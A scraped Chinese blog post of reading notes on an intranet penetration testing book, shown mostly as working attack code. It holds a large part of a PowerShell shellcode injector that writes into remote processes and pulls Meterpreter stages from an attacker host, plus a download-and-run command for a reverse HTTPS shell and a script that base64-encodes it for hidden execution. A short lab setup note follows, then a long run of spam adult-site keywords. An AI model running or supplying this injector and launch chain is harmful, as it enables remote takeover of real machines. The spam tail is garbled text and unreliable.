(0x8000)$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)Write-Verbose 'Shellcode injection complete!'}# A valid pointer to IsWow64Process will be returned if CPU is 64-bit$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Processif ($IsWow64ProcessAddr){$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)$64bitCPU = $true}else{$64bitCPU = $false}if ([IntPtr]::Size -eq 4){$PowerShell32bit = $true}else{$PowerShell32bit = $false}if ($PsCmdlet.ParameterSetName -eq 'Metasploit'){if (!$PowerShell32bit) {# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function# Pull out just the content of the this script's invocation.$RootInvocation = $MyInvocation.Line$Response = $Trueif ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?","Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }if ( !$Response ){# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit functionReturn}# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.if ($MyInvocation.BoundParameters['Force']){Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"}else{Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"}$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)$EncodedCommand = [Convert]::ToBase64String($CommandBytes)$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"Invoke-Expression -Command $Execute | Out-Null# Exit the script since the shellcode will be running from x86 PowerShellReturn}$Response = $Trueif ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?","About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }if ( !$Response ){# User opted not to carry out download of Metasploit payload. Exit functionReturn}switch ($Payload){'windows/meterpreter/reverse_http'{$SSL = ''}'windows/meterpreter/reverse_https'{$SSL = 's'# Accept invalid certificates[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}}}if ($Legacy) {# Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"Write-Verbose "Requesting meterpreter payload from $Request"} else {# Generate a URI that passes the test$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}$SumTest = $Falsewhile ($SumTest -eq $False) {$GeneratedUri = $CharArray | Get-Random -Count 4$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)}$RequestUri = -join $GeneratedUri$Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" }$Uri = New-Object Uri($Request)$WebClient = New-Object System.Net.WebClient$WebClient.Headers.Add('user-agent', "$UserAgent")if ($Proxy){$WebProxyObject = New-Object System.Net.WebProxy$ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer# if there is no proxy set, then continue without itif ($ProxyAddress) {$WebProxyObject.Address = $ProxyAddress$WebProxyObject.UseDefaultCredentials = $True$WebClientObject.Proxy = $WebProxyObject}}try{[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)}catch{Throw "$($Error[0].Exception.InnerException.InnerException.Message)"}[Byte[]] $Shellcode64 = $Shellcode32}elseif ($PSBoundParameters['Shellcode']){# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.[Byte[]] $Shellcode32 = $Shellcode[Byte[]] $Shellcode64 = $Shellcode32}else{# Pop a calc... or whatever shellcode you decide to place in here# I sincerely hope you trust that this shellcode actually pops a calc...# Insert your shellcode here in the for 0xXX,0xXX,...# 32-bit payload# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)# 64-bit payload# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)}if ( $PSBoundParameters['ProcessID'] ){# Inject shellcode into the specified process ID$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)Write-Verbose "Injecting shellcode into PID: $ProcessId"if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ){Inject-RemoteShellcode $ProcessId}}else{# Inject shellcode into the currently running PowerShell process$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)Write-Verbose "Injecting shellcode into PowerShell"if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',"Injecting shellcode into the running PowerShell process!" ) ){Inject-LocalShellcode}} }

(5)使用Base64編碼對(duì)Powershell命令進(jìn)行編碼

先將ps1保存為文本文件

ech○ "IEX(New-Object Net.WebClient).DownloadString("http://www.baidu.com/xxx.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.xxx.xxx -Lport 80 -Force" >script.txt

使用ps_encoder.py腳本加密:

chmod +x ps_encoder.py ./ps_encoder.py -s script.txt

然后可以利用base64編碼內(nèi)容進(jìn)行命令執(zhí)行:

Poweshell.exe -NoP -NonI -W Hidden -Exec Bypass -enc [base64編碼內(nèi)容]

ps_encoder.py腳本如下:

#!/usr/bin/env python # -*- coding: utf-8 -*-# PSEncoder # This version is a modification of darkoperator's ps_encoder.py https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py made by Carlos Perez# # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; Applies version 2 of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USAimport base64 import sys import re import os import getoptdef powershell_encode(data):# blank command will store our fixed unicode variableblank_command = ""powershell_command = ""# Remove weird chars that could have been added by ISEn = re.compile(u'(\xef|\xbb|\xbf)')# loop through each character and insert null bytefor char in (n.sub("", data)):# insert the nullbyteblank_command += char + "\x00"# assign powershell command as the new onepowershell_command = blank_command# base64 encode the powershell commandpowershell_command = base64.b64encode(powershell_command)return powershell_commanddef usage():print("Usage: {0} <options>\n".format(sys.argv[0]))print("Enters interactive mode if no options provided.")print("Options:")print(" -h, --help Show this help message and exit")print(" -s, --script <script> PowerShell Script.")sys.exit(0)def main():try:options, args = getopt.getopt(sys.argv[1:], 'hs:', ['help', 'script'])except getopt.GetoptError:print "Wrong Option Provided!"usage()if len(sys.argv) == 2:usage()for opt, arg in options:if opt in ('-h', '--help'):usage()elif opt in ('-s', '--script'): script_file = argif not os.path.isfile(script_file):print "The specified powershell script does not exists"sys.exit(1)else:ps_script = open(script_file, 'r').read()print "powershell -encodedCommand",powershell_encode(ps_script)exit()else:while 1:try:ps_script = raw_input("ps_encoder$ ")# print(powershell_encode(ps_script))print "powershell -encodedCommand",powershell_encode(ps_script)except KeyboardInterrupt:exit("\nUser interrupt.")if __name__ == "__main__":main()

三、搭建內(nèi)網(wǎng)環(huán)境

安裝Windows Server 2012 R2、Windows7和Windows Server 2008 R2操作系統(tǒng)搭建Windows域環(huán)境

  • Windows Server 2012 R2: 192.168.1.1
  • Windows Server 2008 R2: 192.168.1.2
  • Wlndows7: 192.168.1.3

結(jié)語

第一章主要是些基礎(chǔ)知識(shí)和概念
然后裝了下環(huán)境

放一個(gè)powershell的學(xué)習(xí)網(wǎng)站:https://www.pstips.net/powershell-online-tutorials

總結(jié)

以上是生活随笔為你收集整理的《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

日韩精品视频久久 | 久久精品3| 国产一级免费电影 | 91精品毛片 | 欧美亚洲另类在线视频 | 视频一区二区在线 | 国产精品一区二区电影 | 久久精品视频18 | 五月婷婷狠狠 | 亚洲伊人第一页 | 又紧又大又爽精品一区二区 | 国产日产欧美在线观看 | 久久九精品 | 中文字幕电影高清在线观看 | 中文字幕亚洲不卡 | 成年人免费av网站 | 欧美一区二区三区在线观看 | 亚洲黄色成人网 | 国内免费久久久久久久久久久 | 亚洲专区欧美专区 | 久久久免费看片 | 欧美精品一区二区三区四区在线 | 婷婷国产在线观看 | 免费情缘| 国产亚洲精品久久久久久无几年桃 | 中文字幕在线播放日韩 | 中文字幕亚洲欧美日韩2019 | 久久免费的精品国产v∧ | 亚洲,播放 | 亚洲日本中文字幕在线观看 | 国产美女无遮挡永久免费 | 国产精品久久久久999 | 免费无遮挡动漫网站 | 精品久久久影院 | www五月天婷婷 | 国产无遮挡又黄又爽馒头漫画 | 国产成人精品一区二区三区网站观看 | 在线视频 国产 日韩 | 91在线视频在线观看 | 日韩欧美大片免费观看 | 2019中文在线观看 | 久久免费视频精品 | 97超碰在线人人 | 欧洲色吧 | 国产在线 一区二区三区 | 精品国产免费观看 | 黄毛片在线观看 | 成人免费在线观看电影 | 日韩在线视频免费看 | 九草视频在线观看 | 97在线观看视频免费 | 在线黄色av电影 | 人成午夜视频 | 国产成人精品免高潮在线观看 | 欧美一级艳片视频免费观看 | 久久a国产 | 美女网站视频免费黄 | 久久免费视频99 | 欧美精品成人在线 | 日韩中文字幕视频在线 | 丁香六月综合网 | 久草www | 国产在线精品区 | 四虎在线观看 | 国产在线观看你懂的 | 91精品国产高清自在线观看 | 夜添久久精品亚洲国产精品 | 亚洲国产中文字幕在线 | av女优中文字幕在线观看 | 亚洲一区美女视频在线观看免费 | 黄色福利视频网站 | 伊人色综合久久天天网 | 久久成人国产精品 | 久久婷婷色 | 丁香六月婷婷激情 | 性色av一区二区三区在线观看 | 亚洲黄色成人 | 国产精品99久久久精品免费观看 | 国产亚洲视频中文字幕视频 | 欧亚日韩精品一区二区在线 | 久久视频免费在线 | 国产精品18久久久久久久网站 | 99久久综合狠狠综合久久 | 一区二区三区福利 | 日韩网站一区 | 亚洲电影一级黄 | 视频1区2区 | 日本精品久久久久中文字幕 | 久热只有精品 | 欧美淫视频 | 欧美成人中文字幕 | 日韩高清免费在线 | 精品国产理论 | 国产精品一区二区三区在线免费观看 | 色综合色综合色综合 | 欧美久久久 | 经典三级一区 | 欧美性生活一级片 | 综合久色 | 九九热在线播放 | 日韩免费不卡视频 | 黄色片网站 | 中文字幕在线观看一区二区 | 亚洲清纯国产 | 99国内精品久久久久久久 | 香蕉久草 | 天天色欧美 | 亚州精品天堂中文字幕 | 最近免费中文视频 | 亚洲视频一| 九九视频免费 | 国内成人精品视频 | 日本韩国在线不卡 | 麻花豆传媒mv在线观看 | 国产区精品区 | 日韩激情av在线 | 日日夜夜天天射 | 一区二区三区四区五区在线视频 | 丁香激情综合久久伊人久久 | 亚洲精品视频 | 免费观看成人 | 国产一级免费在线 | 国产亚洲精品久久久久久久久久 | 婷婷久久一区二区三区 | 日韩在线视频网址 | 中文字幕人成人 | 91网在线看 | 久久全国免费视频 | 欧美午夜精品久久久久久孕妇 | 啪啪凸凸 | 国产午夜精品免费一区二区三区视频 | 欧美精品在线视频 | 成人动图 | 天天夜操| 欧美男女爱爱视频 | 天天操人人要 | 亚洲精选视频免费看 | 最近中文字幕免费av | 欧美伊人网 | 欧美另类v | 青青草在久久免费久久免费 | 国产精品男女视频 | 97狠狠操 | 美女中文字幕 | 成人在线观看资源 | 丁香久久久| 超级碰碰免费视频 | av一本久道久久波多野结衣 | 欧美一区二区精美视频 | 97香蕉超级碰碰久久免费软件 | 日韩高清一区 | 成人av久久| 婷婷爱五月天 | 美女精品国产 | 狠狠操天天干 | 日韩精品免费一区二区三区 | 国产精品精品久久久久久 | 在线观看中文字幕网站 | 最新av在线播放 | 蜜桃av人人夜夜澡人人爽 | 国产专区在线播放 | 欧美另类美少妇69xxxx | 日韩精品一区二区在线观看视频 | 亚洲国产福利视频 | 免费观看高清 | 成年美女黄网站色大片免费看 | 精品免费视频123区 午夜久久成人 | 久久 精品一区 | 五月婷婷综合在线 | 精品国产一区二区三区av性色 | 欧美在线视频不卡 | 日韩mv欧美mv国产精品 | 91大神一区二区三区 | 亚洲一区二区观看 | 久久综合久久综合这里只有精品 | 黄色av电影在线观看 | 91高清免费观看 | 国产区网址 | av一级在线| 成人a视频在线观看 | 九月婷婷人人澡人人添人人爽 | 久久综合狠狠综合久久激情 | 国产精品18毛片一区二区 | 中文字幕超清在线免费 | 综合久久2023| 99久久这里有精品 | 国产一区二区三区在线免费观看 | 正在播放久久 | 久久99久久99精品中文字幕 | 91在线日韩 | 国产精品久久久久久吹潮天美传媒 | 草久久久 | 成人在线你懂得 | 国产手机视频在线 | av资源免费看| 中文字幕国产精品一区二区 | 国产精品观看视频 | 97视频在线免费播放 | 欧美一区二区三区免费观看 | 亚洲免费av片 | 日韩高清一区二区 | 香蕉网在线播放 | 亚洲免费黄色 | 黄色av电影 | 日韩三区在线 | 精品视频久久久久久 | 国产精品欧美久久久久天天影视 | 欧美成人91| 一级黄色免费 | 欧美日韩性视频在线 | 天天色棕合合合合合合 | 91在线免费播放 | 亚洲毛片久久 | 香蕉视频在线播放 | 久久久免费高清视频 | 日韩午夜在线观看 | 在线观看黄网 | 国产精品免费一区二区三区在线观看 | 亚洲免费资源 | 国产99久久精品一区二区300 | 91精品爽啪蜜夜国产在线播放 | 国产视频丨精品|在线观看 国产精品久久久久久久久久久久午夜 | 中文字幕888| 91成人精品| www日韩在线 | 操操操夜夜操 | 欧美爽爽爽 | 日躁夜躁狠狠躁2001 | 欧美极品久久 | 成年人免费av | 欧美一区二区在线看 | 色天天| av理论电影 | 久久神马影院 | 97日日| 免费日韩一区 | 99精品免费观看 | 久久久999精品视频 国产美女免费观看 | 成人黄色视 | 国产精品麻 | 最新午夜 | 999毛片| 欧美日韩高清国产 | 日韩在线免费高清视频 | 999久久久欧美日韩黑人 | 亚洲精品中文字幕在线 | 五月丁香 | 国产xxxxx在线观看 | 色婷婷www| 少妇性bbb搡bbb爽爽爽欧美 | 黄色成年片 | 日韩精品视频免费在线观看 | 日日干 天天干 | 国产精品综合av一区二区国产馆 | 96看片 | 一区二区久久久久 | 国色天香在线观看 | 96视频在线 | 国产白浆在线观看 | 在线亚洲天堂网 | 国产视频观看 | 欧美成年性 | 白丝av在线 | 69av在线视频 | 免费高清在线观看成人 | www.国产精品 | 亚洲精品国久久99热 | 国产精品夜夜夜一区二区三区尤 | 91porny九色91啦中文 | 日本99热| 久久99久久精品国产 | 91精品视频播放 | 国产成本人视频在线观看 | 精品美女久久久久 | 亚洲精品在线视频 | a视频免费 | 日韩在线视频线视频免费网站 | 欧美在线一级片 | 日日干天天插 | 色婷婷视频在线观看 | 亚洲最大av在线播放 | 色 中文字幕 | 国内亚洲精品 | 成年性视频 | 免费看片网址 | 久久新 | 91色一区二区三区 | 国产一区二区精品在线 | 日本精品va在线观看 | 人人爽久久久噜噜噜电影 | 麻花豆传媒一二三产区 | 久久新| 91av影视 | 亚洲视频久久久 | 亚洲在线网址 | 91久久久久久国产精品 | 欧美日韩中文国产一区发布 | 999热视频 | 久久久国产精品亚洲一区 | 精品国产99国产精品 | 国产一区二区在线免费视频 | 久久久久久麻豆 | 欧美日韩a视频 | 色综合久久久久 | 91最新地址永久入口 | 亚洲永久国产精品 | 天堂av在线中文在线 | av中文国产 | 操天天操 | 亚洲男模gay裸体gay | 久视频在线 | a在线v | 色婷婷久久 | 久久日本视频 | 日韩有码专区 | 日本久久精 | 麻豆免费视频 | 亚洲一区二区91 | 97久久精品午夜一区二区 | 91在线区| 中文字幕在线观看国产 | 91av社区| 亚洲欧美乱综合图片区小说区 | 最新av在线播放 | 一级α片免费看 | 在线观看色网 | 国产青春久久久国产毛片 | 色偷偷人人澡久久超碰69 | 啪啪精品 | 人人盈棋牌 | 婷婷精品视频 | 国产精品一区二区免费在线观看 | 国产亚洲亚洲 | 激情小说网站亚洲综合网 | 久久精选视频 | 久久国色夜色精品国产 | 人人澡超碰碰97碰碰碰软件 | 色综合人人 | 六月丁香在线视频 | 一 级 黄 色 片免费看的 | 欧美在线free| 日韩高清一区在线 | 免费观看xxxx9999片 | 国产伦精品一区二区三区在线 | av电影av在线 | 999在线精品 | 久久99精品国产麻豆宅宅 | 久久日本视频 | 狠狠色噜噜狠狠狠狠2022 | 中文字幕亚洲高清 | 国产毛片久久久 | 国产美女精品视频免费观看 | 久久综合中文色婷婷 | 久久久久国产精品视频 | 天天综合成人网 | 成片视频在线观看 | 国产亚洲人成网站在线观看 | 国产精品剧情在线亚洲 | 免费观看午夜视频 | 久久久久国产精品午夜一区 | 日本三级全黄少妇三2023 | 国产午夜免费视频 | 国产亚洲一区 | 欧美成人aa| 91女神的呻吟细腰翘臀美女 | 九九电影在线 | 在线电影 你懂得 | 久草久草在线观看 | 欧美日韩国产欧美 | 欧美十八 | 超碰公开在线观看 | av大片免费看 | 色吧久久 | 黄网站免费久久 | 91精品国自产在线偷拍蜜桃 | 十八岁免进欧美 | 免费影视大全推荐 | 亚洲精品字幕 | 一级黄色电影网站 | 欧美久久久久久久久中文字幕 | 免费看三片 | 在线观看成人福利 | 精品久久久久国产 | 丁香五婷 | 国产精品色视频 | 国产91精品看黄网站在线观看动漫 | 97人人网 | 成人久久亚洲 | 福利一区二区 | 欧美成人一区二区 | 日韩在线欧美在线 | 成年人app网址| 91麻豆精品久久久久久 | 91麻豆国产 | 久久人人做 | 婷婷六月网 | 黄色三级网站 | av资源免费看 | 久久亚洲日本 | 91在线免费公开视频 | 国产精品美女视频 | 亚洲黄色在线播放 | 亚洲一级片 | 国产精品一区二区免费 | 欧美日韩国产精品一区二区亚洲 | 精品久久久精品 | 久久久久久免费视频 | 欧美日韩免费在线视频 | www久久精品 | a在线一区 | 国产小视频在线免费观看视频 | 久久久免费高清视频 | 人人插人人 | 久久久网站 | 中文字幕中文字幕中文字幕 | 久草在线手机视频 | 日韩专区在线播放 | 91看片在线观看 | 手机看片午夜 | 97热久久免费频精品99 | 成年人app网址 | 久久综合色婷婷 | 精品一区二区三区香蕉蜜桃 | 黄色影院在线免费观看 | 国产亚洲情侣一区二区无 | 91精品国产电影 | 成年一级片 | 蜜臀av性久久久久蜜臀aⅴ四虎 | 久久久久成人精品 | 亚洲午夜精品久久久久久久久久久久 | 久久精品视频中文字幕 | 高清在线一区二区 | 欧美精品一级视频 | 91视频网址入口 | 久久久久久久久亚洲精品 | 久草网视频在线观看 | 国产亚洲综合精品 | 最新av免费在线观看 | 精品久久久久国产免费第一页 | 精品免费| 久热免费在线 | 91九色视频在线观看 | 五月婷婷国产 | 一本色道久久精品 | 91成人精品一区在线播放69 | 久久一区91 | 欧美日韩久久不卡 | 91精品国产自产91精品 | 久久精品男人的天堂 | 日韩在线观看视频在线 | 在线观看中文字幕一区二区 | 麻豆影视在线免费观看 | 五月天狠狠操 | 国产看片 色| 激情欧美一区二区三区免费看 | 亚洲欧洲在线视频 | 黄色影院在线免费观看 | 97在线观看免费观看 | 草莓视频在线观看免费观看 | 日韩精品一区二区三区在线视频 | 免费成人在线电影 | 新版资源中文在线观看 | 国产乱对白刺激视频不卡 | 国产在线一线 | 黄色一级大片在线免费看国产一 | 97韩国电影| 日本成人中文字幕在线观看 | 免费男女羞羞的视频网站中文字幕 | 欧美日韩一区二区三区免费视频 | 国产日产在线观看 | 午夜视频亚洲 | 国产精品久久久久久久久久免费 | 国产三级午夜理伦三级 | 不卡的av中文字幕 | 久久全国免费视频 | 国产伦精品一区二区三区四区视频 | www亚洲一区 | 人人干干人人 | 国产99在线免费 | 成人a毛片| 色婷婷精品| 97成人在线免费视频 | 欧美一区二区三区特黄 | 99精品免费在线观看 | www.狠狠 | 97免费在线观看 | 国产精品96久久久久久吹潮 | 国产精品v a免费视频 | 日韩国产精品一区 | 视频在线一区二区三区 | 亚洲欧洲在线视频 | 最近中文字幕大全 | 精品国精品自拍自在线 | 亚洲一级黄色大片 | 91成人看片 | 91亚洲精品久久久久图片蜜桃 | 国产无套精品久久久久久 | 国产精品免费在线视频 | 久久精品视频2 | 午夜精品久久一牛影视 | 日本中文字幕在线电影 | 摸bbb搡bbb搡bbbb | 国产手机av| 国内成人综合 | 99亚洲视频 | 国产你懂的在线 | 欧美亚洲成人xxx | 日韩在线视频不卡 | 午夜久草| 日韩在线三级 | 久久精品久久久久久久 | 欧美日韩在线观看视频 | 久草精品电影 | 天天干视频在线 | 欧美黑人xxxx猛性大交 | 国产一区二区影院 | 国产丝袜制服在线 | 91黄色免费网站 | 国产日韩在线观看一区 | 国产伦理一区二区三区 | 婷婷网站天天婷婷网站 | 成年人免费电影在线观看 | 亚洲三级影院 | 久久久久久看片 | 亚洲国产精品电影 | 国产精品尤物视频 | 日韩在线视频精品 | 天堂视频中文在线 | 青青河边草免费观看 | 国产美女精品在线 | 国产专区视频 | 友田真希x88av | 日韩中文字幕亚洲一区二区va在线 | 亚洲在线视频网站 | 国产成人精品一区二区三区在线 | 在线小视频| 国产精品九色 | 国内丰满少妇猛烈精品播 | 日韩欧美国产免费播放 | 麻豆视频国产在线观看 | 久久综合九色九九 | 成人小视频在线播放 | 国产操在线 | 国产aa免费视频 | 一区二区精品在线 | 久久久性| www.色婷婷.com| 欧美在线一 | 亚洲国产成人精品在线观看 | 黄色日本免费 | 国产大陆亚洲精品国产 | 久久精品网址 | 色婷婷视频在线观看 | 国产一区二区三区免费观看视频 | 人人爽人人爽人人爽人人爽 | 国产精品中文字幕在线观看 | 久久99精品久久久久久清纯直播 | 在线91播放 | 色网站在线免费观看 | 亚洲欧洲久久久 | 国产黄色片一级 | 在线中文字幕一区二区 | 久久人人爽人人片 | 亚洲国产精品传媒在线观看 | 啪啪小视频网站 | 一区二区三区在线看 | 97国产超碰| 日韩电影在线一区二区 | 最近中文字幕 | 麻豆91在线播放 | 操操操日日日干干干 | 国产涩涩在线观看 | 色夜影院 | 免费日韩电影 | 91视频麻豆视频 | 午夜av影院 | 